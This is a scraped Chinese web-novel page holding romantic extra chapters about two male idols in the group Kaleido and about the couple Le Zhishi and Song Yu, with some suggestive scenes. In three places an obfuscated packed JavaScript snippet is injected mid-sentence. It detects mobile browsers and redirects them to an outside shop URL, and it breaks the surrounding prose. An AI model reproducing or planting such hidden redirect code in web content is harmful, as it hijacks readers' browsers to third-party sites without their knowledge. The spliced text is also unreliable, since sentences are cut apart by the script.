卡团行程太多,录制团体综艺到后半夜。 六个人纷纷向工作人员鞠躬。 “辛苦了!” “辛苦工作人员了!” 小裴取麦的时候听见一旁的pd和另外一个女工作人员聊天。 “好惨啊我们七夕还在熬大夜录制。” “七夕?今天都七夕了吗?” “对啊,我还订了花,你都不记得啊?” 七夕? 裴听颂立刻来了劲,可他们紧接着又要赶去另外一个通告,光是开车就要一个小时,根本没时间休息。 偶像恋爱也太不容易了。 他看着远处正在给员工发放咖啡的天使觉夏。 幸好男朋友是我队友。 他走过去,揽住方觉夏的肩膀。方觉夏抬头看他,“嗯?” “没什么。”裴听颂伸手帮哥哥把额头上黏着的一枚彩色亮片摘下来,“好傻啊你。” 方觉夏抿了抿嘴,本来想掐裴听颂的腰,但有别人在跟前,又不好意思这么做。 “……你才傻。” 回到车上,方觉夏和裴听颂坐到最后。凌一和路远熬夜熬精神了,睡不着开了个双排,打得轰轰烈烈。江淼肠胃不舒服,贺子炎给他倒保温杯里的热水,从包里翻出来给他带的药。 方觉夏拿出耳机,裴听颂很自然地拿过一只塞在耳朵里,然后拍了拍自己的肩,“睡会儿吧。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727013|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯。”方觉夏靠上去,闭上了眼。 车里摇摇晃晃,路程过半,凌一的游戏也打完,裴听颂侧头一看,方觉夏睡得很香,睡相很漂亮,睫毛好长。 一时兴起,裴听颂拿出手机,小心翼翼地给他拍了张照片,生怕把他弄醒,姿势也没换,完全是方觉夏靠在肩上的视角。 照片里的人好看得不像话。裴听颂分享欲爆棚,打开微博,脑子一热直接发了出去。 [分享图片] 刚收好手机,裴听颂听见咔嚓一声。 凌一悔恨不已,“啊我忘记关相机声音了!” “笨蛋一一。”路远嘲笑道 “你们在干嘛啊?”裴听颂难得地压着声音质问队友。 贺子炎:“你在拍风景线,他在拍你。” 江淼笑道:“小裴,大家都拍了。” 程羌开着车,“你们别一直往后看了,不安全,快坐好。” 大家乖乖听话,裴听颂警告凌一:“不许给我乱发!” 凌一吐了吐舌头,打开微博准备故意气裴小六,结果吓了一大跳,还以为是自己登成小号了。 “我去,裴听颂,你怎么拿大号发啊?” “什么??” 贺子炎:“虎啊。” “不是……”裴听颂不相信,自己打开了微博。 “完了,评论已经超级多了,大家都疯了。” 路远摇头:“错,是都聋了。” [呜呜呜这是什么男友视角啊!] [听觉太甜了我没了七夕快乐!] [听觉这是什么甜甜蜜蜜纯情小情侣,杀了我吧!] 裴听颂看着这评论,被程羌一吼,直接抖了一下。 方觉夏感觉到,可睡得正香,胳膊伸出来抱住裴听颂,声音黏黏糊糊,“不要动……” 要怎么面对醒来的方觉夏? “算了,”程羌也不知道说什么好,“就当营业吧,凌一你把你拍他的照片也发出来。” 就这样,kaleido为了队内小情侣七夕集体营业。 [kaleido凌一:老幺扭曲的拍照姿势] [kaleido路远:分享一道美丽的风景线] [kaleido贺子炎:神图来源] [kaleido江淼:大家七夕快乐呀!] 醒过来的方觉夏。 “我睡个觉怎么上热搜了?” “啊这……” “以后再也不靠着你睡了。” “不行!你不睡我睡!” · 玉石小剧场 英国。 乐知时上完下午的最后一堂课,拿起隔壁空椅子上的红玫瑰花束,起身打算离开。 直到他被一个同学叫住。 “这个案例的案例分析你写出来了吗?可不可以给我参考一下,我感觉有哪里不对劲。” “OK.”乐知时拿出笔记本,将自己的案例分析发给同学,对方十分感激,“我请你喝东西吧,你一会儿有空吗,我知道一家非常不错的酒吧。” “抱歉啊,我不能去,我去了男朋友会生气的。” “你男朋友?”对方有些吃惊,“他的控制欲是不是很强啊?” “不是,因为他从小看着我长大,所以会管着我,但是他对我非常温柔。” 同学点了点头,指了指他怀里的花束,“真漂亮。今天是你们的纪念日吗?” “今天是情人节。”乐知时笑着看向怀里的玫瑰花,“是中国的情人节。” 他们一起往教室外走,经过走廊,乐知时听见有女生讨论楼下的男生。 “楼下的亚裔帅哥好酷。” “身材真好啊!” 他往下瞟了一眼,没想到就是宋煜。看到站在树下仰望他的哥哥,身边还停了辆自行车,乐知时立刻变成当年的初中小男生,满心欢喜,“下次再聊,我男朋友来了!” 蹦蹦跳跳地下了楼,乐知时远远看着宋煜,发现他的手里也有一束玫瑰花,雪白雪白的,被他藏在了身后,只是藏得不好,被发现了。 好像是知道乐知时已经发现了,宋煜索性朝他摊开双臂,脸上的表情很温柔。 “哥哥。”乐知时直接冲过去,助力太猛,差点停不下来,直接跳到了宋煜身上。 宋煜稳稳地接住他,抱住他的大腿根,让乐知时像小树袋熊一样挂在自己身上。 他还掂了掂,“又轻了点。” “没有,是你的错觉”乐知时搂着他的脖子,“每天做那么多好吃的给我,怎么可能瘦啊,浑身都是肉吧。” 宋煜一贯冷冷的音色都带了些许笑意,“你身上有没有肉,我最清楚。” 乐知时反应过来,有点不好意思,咳嗽了两声转移话题,“你怎么来了?我还想去找你。” 宋煜亲了亲他的嘴唇,“想来就来了。” 傲娇怪。乐知时在心里小声吐槽。 明明不是想来,是想我。 “好吧宋猫猫。”他笑得很甜,凑近些,和宋煜在散课的人群里接了一个长长久久的吻。 他们将双倍的玫瑰放在车的前筐里,塞得满满当当。宋煜久违地放弃了开车,选择骑车带着乐知时,从校园的林荫路,到伦敦街头。 乐知时张开了双臂,风吹起他的头发。在这个繁华又疏离的水泥森林,每个人都行色匆匆,宋煜载着玫瑰和心爱的男孩,逆风拥抱夏日的末尾。 “哥,今天晚上牛郎和织女要见面了诶。”乐知时抱住宋煜,努力地往他耳朵边凑。 “然后呢?”宋煜继续往前骑,很快要到红绿灯的十字路口。 “然后……我们晚上也做点什么庆祝一下吧。” 猛地刹车。 乐知时一下子撞到宋煜后背,抱得死死的。 “乐知时。” “嗯?” “你真是越来越行了。” 6. 小裴生日直播(血糖) 冬天的北京干燥极了,裴听颂正直播着,突然开始流鼻血。 [我去小裴你流鼻血了!] [啊小裴快去弄一下!流血了!] [哈哈哈哈葡萄树是不是上火了] [这说明我们葡萄树火!超级火!] “不是你们的关心都开始变味儿了。”裴听颂很随意地抽了桌子上的抽纸,塞了塞,不太在意。 “最近比较干,昨天又吃了火锅。”裴听颂拽的不行,“害,没事儿,这有啥,反正觉夏哥会给我煮凉茶的。” [哎呦呦呦] [啧啧有哥哥的人真是不一样] [你别麻烦觉夏了去买王老吉吧] “那不行,只有觉夏的凉茶管用。” 裴听颂一边直播,一边拿着笔在纸上练字,都没有抬头看屏幕。 一周一次的单人直播是最近公司给他们的任务,每个人都得做,裴听颂向来是个不配合的主,每次都是被程羌押着直播的,回回都要盯,唯独这一次,程羌忙着处理合同的事,顾不上管他。 裴听颂坐不住,直播的时候只能给自己找点事做,之前是直播写歌,后来公司以泄曲为由当即中止了他的直播,第二天裴听颂还发微博吐槽,后来他只好直播练舞、直播练歌、直播吃饭、直播打游戏甚至是直播睡觉。 写好之后,裴听颂端详了一下,瞥了眼手机留言,看到有粉丝想看他写的字。 “给你们看看吧,我最近在练瘦金体。”裴听颂举起纸对准镜头,“怎么样?我还挺有天赋的吧!” 还没炫耀完,房门打开了,裴听颂扭头瞧了一眼,进来的是队长江淼。 “队长,你来啦。”裴听颂扬了扬下巴,把手放下。 “直播呢?”江淼对摄像头之类的东西很敏感,脸上挂着微笑,走过来,弯了弯腰,对准摄像头和粉丝打招呼,“大家下午好啊,吃了饭吗?最近天气冷要多穿一点,不要生病了哦。” [呜呜小队来了!小队我爱你!] [淼淼我永远的老婆!] [淼淼好好啊,和葡萄树这个死小孩形成了鲜明对比。] “不是,你们夸队长就夸,能不能不要拉踩我啊。”裴听颂翻了个白眼。 “对了。”江淼直起身,看向裴听颂,“觉夏呢?” “练舞啊。”裴听颂坐在转椅上,懒散地转来转去,“你没有看到他吗?” “哦,我只是问问。”江淼笑了笑,“我看你在办公室直播,还以为他也在你旁边。” “他不来,我叫他了。”裴听颂瘪了瘪嘴,“方老师眼里只有练舞,可没有我这个老幺呢。” [呜呜看不到小队的脸了] [哈哈哈葡萄树好酸啊,酸葡萄] [pts像小狗一样等觉夏] [好甜,这还不是糖吗?给我磕啊!] “你真的是小朋友啊。”江淼一只手撑在桌子上,刚要说话,身后传来开门声,还没来得及回头,就听见凌一、路远和贺子炎吵吵嚷嚷的声音了。 “淼淼!我找到了一个特好吃的糖!”凌一抛了过来,伸手就要喂给江淼,“你尝尝。” “小裴你看那个了没?”路远一巴掌拍在裴听颂身上。 裴听颂一抬眼,“哪个啊?” 贺子炎最怕他们磨叽,手往路远身上一拍,“你直接给他看啊,就那个视频,快点儿我要笑死了!” 江淼伸出手按在贺子炎后背,小声提醒,“子炎,在直播哦。” “直播?”贺子炎看向桌子前的摄像头,“还真直播呢。” 路远把iPad拿出来,“那就大家一起看嘛,粉丝也一起笑!” 裴听颂一脸迷茫,“笑什么啊?”他低头看向路远塞过来的ipad,才瞟了一眼,眉头就皱起来。 [什么啊是什么?怎么小裴都黑人问号脸了?] [哈哈哈哈圆圆是不是又整活了!] “什么乱七八糟的啊?”裴听颂把ipad推给路远。 “你看完啊,多帅啊哈哈哈哈!”路远又推给他。 裴听颂手肘撑在桌子上,扶着额头,一脸无语,张了张嘴,像是想说点什么,想了想又闭上了嘴。 后面几个人已经笑到不行,贺子炎都笑弯了腰,一直拍着裴听颂的椅子,凌一笑得扑在江淼身上,连一向表情管理超绝的江淼这次都憋不住笑。 “救命,哈哈哈给粉丝看看。”路远把ipad屏幕对准摄像头,“真的很逗啊。” 原来ipad里播放的是土味DJ扛着牌匾上楼梯的视频,牌匾上写着的是“裴听颂生日快乐”,这画面,和黑人大哥送祝福有的一拼。 “不是,你们……”裴听颂伸出食指,还没说话就被江淼叫住。 “小裴不可以竖中指哦。”江淼提点他。 “食指!”裴听颂回头晃着自己伸出来的手指,“这是食指!” “好好好。”江淼又绷不住笑了,“我看错了,我的错。” 裴听颂长长地吐出一口恶气,“算了,我是个很nice的人。” 他对着摄像头说,“我谢谢各位帮我庆生,就是这个方式方法是不是能……那什么,正式一些,不要用这种玩弄我的方式,你们觉得开心吗?” [开心啊哈哈哈哈哈哈哈哈哈啊哈哈哈] [哈哈哈哈我们开心啊] [说不定不是粉丝买的呢?这作风很像是土味大师远远的杰作啊。] 路远眼尖,一下子看到了,本来还在整理发型,这下立刻撇清关系,“不是我!真不是,我没买。” 贺子炎笑得话都说不清,“感觉就是……就是路远哈哈哈哈!” “挺好玩的啊,多搞笑啊。”凌一一个人捧着ipad看了又看,“哎我过生日的时候也要买这个。我给大家都买一个怎么样!” 剩下三人默契地摆手拒绝,“别别别……” [这该死的团魂] [hhh总是在奇怪的地方充满默契] 裴听颂烦死了,“哎呀你们能不能远离我的直播间,上个班非得来整活儿,快走快走!” “以后这个能每年看一次吗哈哈哈哈。”贺子炎笑得快背过去。 路远疯狂点头,“咱们每年弄不一样的吧哈哈哈哈,就当是保留项目。” “我同意!”凌一举手。 裴听颂张了张嘴,一百句脏话差点出来,最后还是往肚子里咽下去。 “走走走,我谢谢你们行了吧!” 江淼把蹲在地上狂笑的贺子炎拉起来,另一只手拽着沉迷土味小视频的凌一,叫上路远,“走吧咱们,还有事儿呢,别耽误了行程。” [哥哥们别走啊!] [我的快乐源泉别走!] “好吧好吧,小裴,视频我发你微信了啊!”路远对他抛了个媚眼,“哥哥爱你!” “去去去。”裴听颂手撑着头,连连摆手。 “哎呀火哥也爱你!”贺子炎跟着起哄。 凌一听到这话立刻清醒,“我不爱你。” “谁要你爱啊,快走吧你。”小裴又气又想笑,无语地起来,在自动饮水机给自己接了一大杯水,咕咚咕咚喝下去,又坐回办公桌前。 “继续写字啊,我不说话了,你们也消停会儿。” [快乐总是这么短暂] [pts真的太好笑了,搞笑不自知] [搞笑男是没有爱情的!] 裴听颂一抬头,正好看到这条弹幕,嘲讽地笑了笑,没搭理,继续埋头写字。 写着写着,不知道为什么就变成了方觉夏的名字,连续写了好几个,整个人都沉迷进去了。 [好安静] [小裴好专心啊,写什么呢也不给我们看看] [是不是有人开门了,我听见声音了] [葡萄树自己都没发现哈哈哈] [哎是不是jxgg啊?] 镜头里出现了一个人,走了过来,穿着一件米白长袖衫和黑色工装裤,袖子被卷到臂弯,雪白的手臂露出来,还有修长的手指。 [这一看就是觉夏!] [jxgg走路没声音的hhh] [是要吓唬小裴吧!] [看不到脸啊,太低了这个摄像头,最多就看到胸口] 方觉夏低头瞅着裴听颂,发现他在写自己的名字,于是手轻轻搭在了裴听颂的肩膀上,还没来得及说话,胆小的裴听颂就被他吓了一跳,肩膀抖了抖。 “吓我一跳!”裴听颂抬头看向方觉夏,舒了口气,“我还以为谁呢。” “你在干嘛?”方觉夏想去拿他压在手下面的纸,“写什么呢?” “没什么。”裴听颂把纸压着不给他看,试图转移话题,“你怎么来了?不是在练舞吗?” “嗯,”方觉夏很轻松地被他转移了视线,从口袋里找出一张膏药递给裴听颂,“我的腰有点疼,找了块膏药,他们说你在这边,就来找你了。” 说完,他转过身背对坐在办公椅上的裴听颂,毫无顾忌地撩起自己的上衣,“你帮我贴一下吧。” [啊啊啊啊啊jxgg的腰好美!] [太白了吧,都反光了] 裴听颂一下子脑子短路,听到方觉夏说腰疼就忘了其他,忙撕了膏药,另一只手按上方觉夏的后腰,“哪儿疼?这儿吗?” 方觉夏刚跳完舞,身上出了很多汗,雪白的后腰细密一片,被办公室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727014|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖色调的灯光一照,显得有些暧昧。 “有汗贴不上。”裴听颂下意识用自己的袖子去擦,都忘了手边就有纸,擦完又按了按,找方觉夏的伤处,“是这儿吗?” “差不多,你贴吧,就贴那儿。”方觉夏吸了一口气,“其实感觉那一片都很疼,贴哪儿都差不多吧。” “你跳一会儿就要休息啊,我说过好多次了。”裴听颂贴好之后站起来,在镜头拍不到的地方吻了吻方觉夏的后脑勺,低声笑了一声,“好了。” 方觉夏根本不知道这里有摄像头,也不知道裴听颂正在直播,毕竟他身上不舒服,来的时候又看到裴听颂一个人安安静静写字,一无所知。 被裴听颂亲了之后,方觉夏也忍不住转身,手下意识就抬起来,想往裴听颂脖子上勾。 也就是一瞬间,裴听颂突然从梦游状态醒过来,想起自己还在直播,两只手飞快抬起来抓住了方觉夏伸过来的两只手。 方觉夏有些懵,不知道为什么裴听颂不让他勾脖子,愣愣地眨了两下眼。 裴听颂假笑着晃了晃他的手,然后又笑着拍了两下,“来击掌,啊对了还没跟你说,你跟粉丝打个招呼吧,我在直播。” [淦,好怪啊他们俩] [刚刚jx是不是想要……草我都不敢磕了这] [这是我能看的吗?这是你们能播的吗?] [jxgg在小裴面前简直是两个人……这是可以说的吗?] [救命,我的速效救心丸呢!] “直、直播?”方觉夏整个人都傻了,愣在原地,两秒后立刻收回手,像个出了故障的机器人,“我、我回去跳舞了。” “别啊。”裴听颂一把抓住他的手,把他拽回来,“哥哥怎么这么无情,打个招呼再走嘛。” 这样太不自然了,方觉夏真是一点戏都演不了。 “大家好……”方觉夏心虚地笑了笑。 “不知道的还以为我要挟你呢?是吧,我对你这么好,还给你贴膏药,你怎么贴完就要跑啊?”裴听颂看着方觉夏,嘴角狎着笑意。 [自从觉夏出现之后,我就没看到小裴的正脸了] [真是哥哥的向日葵啊葡萄树] [这大过年的我真是不敢磕了,这不是真的吧……] [觉夏哥哥好!] “我走了啊。”方觉夏看着小裴,抬了抬眉,小声问,“可以吗?” “那我也去练舞吧。”裴听颂说走就要走,也终于转头看向摄像头,对屏幕那头的粉丝比了个再见的手势,“拜,下周见。” “你继续播嘛。” “不要,我想练舞了。” 裴听颂关了直播,拉住方觉夏,拉到办公室的小套间里。 “我跟你说,他们刚刚都笑我。” “笑你?笑什么?小裴……你手别……” 方觉夏话说到一半变了调,声音都虚了几分。 灯都没开,黑暗中,裴听颂直接将方觉夏抱到办公桌上坐好,揽着他的后腰就吻下去。 湿蒙蒙的肌肤贴靠着他的掌纹,方觉夏的大脑一瞬间空白,在裴听颂的侵略下逐渐失去抵抗的意识,他的手起初还攥着裴听颂的衣服,到后来,直接抓紧了他的后背。 裴听颂整个人向下压,黑暗中,方觉夏的安全感尽失,潜意识里后退,却被裴听颂的手直接勾住膝盖内侧,狠狠拽了拽,强行迫使腿勾上他的腰。 “方老师,你差点就暴露了。”深吻的间隙,裴听颂故意戏弄他,听着他因为接吻而急促的呼吸声,又咬了咬他的嘴唇,“差一点就让所有人都知道,你一见到我就想要搂着我,想要抱,想……” “闭嘴,裴听颂,你……” 为了让他闭嘴,方觉夏直接吻了上去,堵住了裴听颂的嘴。 事后,方觉夏将裴听颂每周的直播时间都设置了闹铃和备忘录,防止自己再一次不慎闯入,差点酿成大祸。 “没事啊,我正愁直播没有事儿做,咱们可以直播出柜啊。”裴听颂坐在椅子上,没皮没脸道。 整理好自己衣服的方觉夏还坐在桌上,一脸无语,“你真是……” “真是什么?”裴听颂把下巴放在方觉夏的腿上,像一条大型犬,抬眼望着方觉夏,“我马上要过生日了,方老师,你是不是得多表示表示啊?” 方觉夏一手撑着桌面,另一只手摸了摸裴听颂的头,又捏了捏他的下巴,语气有些无奈,“你还想表示什么?” “晚上……” “我腰疼。”方觉夏快速打断。 裴听颂又问:“那可以存着吗?下次我……或者你不动,我动……” 方觉夏两手捂住耳朵。 “听不见听不见听不见……” 7. 过敏原情人节小番外 情人节快到了,天气开始转暖。 乐知时一直很想去海洋馆,提过好几次,宋煜嘴上不说,还是悄悄请了假,订好了票,但直到情人节前一天都没有告诉他。 但乐知时很懂事,知道他要写论文,顾不上陪他出去玩,所以只是悄悄给他准备礼物,打算给宋煜一个惊喜。 情人节的前一夜,他半夜悄悄起床,给宋煜准备了爱心便当。说是便当,其实就只有一些切成小兔子的苹果和他自己亲手做的雪媚娘。 乐知时实在不擅长做饭,又想让宋煜第二天可以带去实验室,所以只能做一些简单的东西。 但就是雪媚娘也耗了他好久,明明是照着蓉姨发来的视频,一步不落地照做,但就是没有她做得漂亮。 不管了,就这样吧。 做好了这些,他把盒子放进冰箱,轻手轻脚爬上床。 感觉宋煜动了一下,乐知时大气不敢出,但下一秒,宋煜就将他抱入怀中。 大约是半梦半醒的缘故,宋煜的声音有些哑,“冷吗?” 他好像以为自己去上洗手间了…… 乐知时有些侥幸地笑笑,“不冷。”他转过身,抱住宋煜,在他颈边蹭了蹭,“睡吧哥哥。” 这么一折腾,早上没睡饱的乐知时很显然起不来,在宋煜三番四次的叫醒服务后,他才迷糊着坐起来,看见宋煜正站在床边,慢条斯理扣着衬衫扣子。 “早啊哥哥……”乐知时打了个哈欠,正要说话,一件衬衫扔到他脸上,罩住了他的头。 “不早了。”宋煜平淡道,“穿上,去洗漱,动作快一点。” “啊?”乐知时有些讶异,他把衬衫拿下来看了看,发现和宋煜身上的一样,是同款。 “不想约会吗?” “想!”乐知时后知后觉反应过来,飞快下了床,“哥哥等我,我很快的!” 宋煜没回应,扣好最后一颗扣子,压下嘴角的笑意。 临走前,乐知时带上了他昨晚熬夜做的水果甜点盒子,送给了宋煜。 “所以你昨晚是去做这个了。”宋煜打开看了一眼。 “你知道啊。”乐知时瘪了瘪嘴,“我还以为你以为我去上洗手间了。” 宋煜笑了笑,没说话,给乐知时开了车门。 坐在车上,乐知时兴奋地放了很甜蜜的歌,街道边许多人贩卖鲜花,行人成双成队,晨曦的光洒在道路上,像是浇了层薄薄的糖浆,一切都闪着美好的微光。 等车停到水族馆外,乐知时激动极了,抓住宋煜的胳膊晃了好几下,“你怎么知道我想来这里?” 宋煜停好车,伸手把乐知时的安全带松了,“你还有什么事是我不知道的吗?” 乐知时笑着在他脸颊亲了一口,“没有,哥哥什么都知道。” 宋煜领着乐知时验了票,第一站就是海洋公园的动物表演,有巨大的海狮,还有拍手鼓掌的海豹。乐知时看着看着会下意识模仿,和海豹一起鼓掌。 “啊水弄到我身上了!”海豹甩的水全落到他们前排观众的身上,乐知时摇着脑袋,像只被淋湿的小狗。他转过脸给宋煜擦衣服,笑得像孩子一样,透过这张笑脸,宋煜能看到他三岁的样子,十三岁的样子。 “请这个帅哥上来跟我们小海豹互动好不好啊?” 台上的驯养师朝乐知时伸手。乐知时愣了愣,指了指自己,“我吗?” “对啊就是你,可以上来和我们的海豹宝宝互动吗?” 乐知时兴奋站起来,“当然可以。” 他一边上去,一边转身对宋煜伸出手,做咔嚓的动作,示意让他帮自己拍照。 宋煜只好拿出手机,给自家弟弟录影。 乐知时一上去,立刻引起一番围观。他长得漂亮,一举一动又有着小孩一样的天真烂漫,很容易就能吸引所有人的目光。 “真好看啊,这个小男生。” “不好看能让他上去吗?” “真的好帅,快拍快拍!” 听到周围人的讨论,宋煜脸上没什么表情,但架不住心里还是有点吃味。 实在是太招人了。 乐知时天生就很有动物缘,刚上台就受到了海豹的热烈欢迎,一边鼓掌一边朝着他上前。在驯养师的指示下,乐知时摸了摸海豹的头,开心得不像话,而且不断地看向台下的宋煜。 海豹一蹦,差点扑到乐知时身上。乐知时的第一反应却是,“不行不行不行,这是哥哥给我买的衬衫不不……” “哈哈哈哈哈哈哈” 台下的人都笑了。 “好,那现在请我们的这位小帅哥选取一个幸运观众,我们会送给他一个礼物!” 乐知时眼睛都亮了,想都没想直接指向坐在台下的宋煜,“我选他!可以吗?” “可以当然是可以……”连驯养师都愣了一下,有些意外,“只是你决定的这么快吗?” 乐知时乖巧点头,“嗯,就想选他。” 台下的人都侧目看向宋煜。 当事人倒镇定得很,静静地坐在那儿望着台上笑笑闹闹的乐知时,冷淡的脸上无端显出几分矜贵。 “那好,我们就送给这位先生一份惊喜礼物!也谢谢小帅哥的配合,谢谢!节日快乐~” 乐知时下来的时候,手里他争取来的小海豹玩偶。 “哥哥你看!” “嗯。”宋煜擦了擦他脸上的水,把水杯递给他,“喝点水。” “嗯。”乐知时听话喝了一大口。 “为什么要让别人送给我。”宋煜捏着海豹玩偶的脸。 乐知时根本没有犹豫,反问他,“为什么这么问?我肯定只会给你啊,我的幸运观众只有你。” 宋煜嘴角勾了一下,把玩偶给乐知时,“别人会觉得奇怪,他们不知道我是你什么人。” 乐知时感觉宋煜怪怪的,好像在阴阳怪气什么。 “你想说什么啊,宋煜猫猫。” 宋煜挑了挑眉,“没什么。” 表演结束,大家按序退场。 跟随着人群,他们两人走到剧院门口,乐知时看到两个小女生站在那里朝他们张望,又抬眼看了看宋煜。 果不其然,等他们经过的时候,其中一个女孩子叫住了他们。 “你好。”她看起来一点也不怯,非常活泼的样子,“请问可以要一下你的微信吗?” 乐知时几乎是条件反射地开了口,抓住了宋煜的手臂,“不好意思啊,他是我男朋友。” 女孩眼睛睁大了些,明显十分讶异,“啊?男、男朋友……” 另一个女孩眼睛亮亮的,对着乐知时又问了一遍,“你有男朋友啊。” 乐知时点头,“是啊。”说完他看向宋煜。 宋煜的脸上明显是一副想笑又不笑的表情。 都搞错了,还护食呢。 “人家有男朋友。”搭讪女孩的朋友撞了撞她的肩膀。 “啊这样子……”女孩有些遗憾地笑了笑,“那祝你们情人节快乐啊!” 乐知时这才反应过来,对方好像是想要自己的微信。 他不好意思地抓了抓头发,“谢谢,也祝你们节日快乐。” 宋煜盯着他抱歉的表情,等待女孩们走开之后,才开口,“后悔了?” 乐知时抬头看他,有些莫名,“后悔什么?” “没有把微信给她。”宋煜故意说,“觉得很抱歉吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727015|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在追上去给也来得及。” 乐知时笑了,一把抓起宋煜的手,“你怎么这么喜欢吃醋啊。” 说完,他拉起他的手亲了亲,“你真的很像猫诶。” 宋煜没说话,对乐知时这样的哄人方式很受用。 南极区气温很冷,但小企鹅们都太可爱,乐知时一直两手扒在玻璃上,恨不得脸也贴上去,安静地观察里面的企鹅宝宝。 “就这么好看?”宋煜抬手捏了捏乐知时后颈,“看了十分钟了。” 乐知时怕痒,缩了缩脖子,转过身对宋煜笑,“它们好可爱啊。” 你也好可爱。 宋煜轻笑了笑,“那就继续看吧,就在这儿看一下午。” “不要不要,我还要去看鲨鱼和魔鬼鱼的。” 大约是情人节气氛太浓厚,连水族馆里的游客也成双成对,里面还有偷偷钻进来卖花的小孩,乐知时最受不住人求,小孩子撒娇问他可不可以买花,他便买了一支玫瑰。 “谢谢哥哥,哥哥你真好看。”卖花的小孩笑起来牙齿雪白雪白。 乐知时弯腰摸了摸他的头,“你嘴真甜。” 等到他看小孩走远,才直起身。 “送给你。”乐知时笑着递给宋煜。 宋煜却反手把花别到乐知时耳后,还端详了一下,“嗯。” “嗯什么?”乐知时笑了。 “很适合你。” 宋煜订了一大束花,还没送到,这朵小小的还是让乐知时代为保管吧。 他们走到了水族馆的鲨鱼区,被玻璃格挡着的蓝色海域闪闪发光,环绕着他们。工作日的早上人不多,宋煜和乐知时站在海水之中,抬眼望着那些飞舞的美丽鱼群。 乐知时侧过脸看向宋煜,他的侧脸映照着蓝色的光,英挺而清郁,鼻梁上架着银丝眼镜,镜片上映照着星云般的鱼群。 “不是要看鲨鱼吗?”宋煜没有看他,沉静道,“看我干什么?” 乐知时抿开藏不住的笑意,“鲨鱼恐怕不会出来了。” “为什么?”宋煜侧头,看向他。 就是这一扭头,乐知时竟突然间踮起脚,正欲吻上来。 谁知宋煜故意往后退了退,盯着乐知时的眼睛。 突然被“拒绝”亲吻,乐知时一皱眉,下意识发出小狗一样的哼哼,看起来委屈极了。 “这就不高兴了?”宋煜笑了一下,低头吻上去。 鱼群短暂地聚集,又在水波中忽的四散开来,就像明灭的星光。 如愿被亲到的乐知时踮起的脚轻轻落下,满眼纯真,心满意足回答他之前的提问,“鲨鱼不来当然是因为他不想当电灯泡啊。” 宋煜的嘴角有着微不可闻的上扬,又转过脸,盯着水里的鱼,好几秒都没有说话。 像是害羞了一样。 “哥哥。” 乐知时靠近了他一步,头轻轻靠在他肩上。 他们的背影映在流溢的蓝色浮光之中。 “谢谢你陪我,”他的声音里都带着单纯的笑意,“情人节快乐。” “嗯。”宋煜抬起手,他的手有些凉,但乐知时的脸颊很热,很温暖。 他也侧了侧脸,在乐知时毛茸茸的发顶吻了吻。 “我爱你。” 听到这句话,乐知时感觉自己的心被幸福涨满,已经没有了一丝空隙。 “我也爱你,哥哥,永远爱你。” 来来去去的小鱼见证两人的甜蜜。 “啊对了,你请了多久的假啊哥哥,隔壁好像是一个温泉酒店,我们今天……” “乐知时,你需求很多啊。” 乐知时摸摸他手臂,“今天情人节嘛。” 8. 营业悖论水火番外(一) 贺子炎进入星图,遇到的第一个人就是江淼。 他很清楚地记得,那是个冬至,北京刮了很大的风,快把他冻透了。一出地铁站,眼前那没着落的落叶在灰蒙蒙的半空盘旋,星图所在的大楼很陈旧,蒙灰的玻璃幕墙下,有好几层贴着培训机构的醒目广告。 星图是个小公司,只在写字楼里租下了三间练习室和一个办公间,整栋楼只有这么一个娱乐公司,显得格格不入。 对着微信里程羌发过来的地址,贺子炎走进大楼,然后就被门口的刷卡栏挡住。他看向保安,对方坐在椅子上,并未起身。 “你来干什么的?” 贺子炎多少有些讶异,没想到这种旧写字楼会管这么严,他解释了几句,对方却让他叫约的人下来为他开门。 一时间有些为难,贺子炎给程羌打了个语音电话,那头响了几声,看上去并不像是能直接接通的。 他听着电话,随意地朝里望了望,刷卡栏里头的电梯门忽然打开来,一个人走了出来。 那人穿了件米白色的开衫连帽卫衣,套着帽子,戴了只雪白的口罩,朝外面走来。 大约是光线的原因,又或者当时的自己太过需要那么一个帮助者的出现,在贺子炎的记忆里,他出现的瞬间仿佛蒙了层暖光,干净又柔和。 “小江啊,下来拿外卖?”保安看向那人,嘴角都扬起,露出和善的笑。 对方点头,声音也带着柔和的笑意,“嗯,好像最近有点感冒,就买了点药想压一压,您最近工作也要注意身体啊。” “感冒了?那可得小心点,你每天来得太早了,得多睡会儿。” “嗯。”他走过来在保安旁边的外卖桌上拿走自己的药,轻声道了句辛苦了,侧身的时候,目光在贺子炎的脸上停留片刻。 “你好,我叫贺子炎。” 这次是贺子炎主动开口,并露出一个阳光的笑,“你也是星图的吧。” 面前这人的动作停顿了一秒。 很快,他那双略微下垂的眼弯起来,如同新月一般。 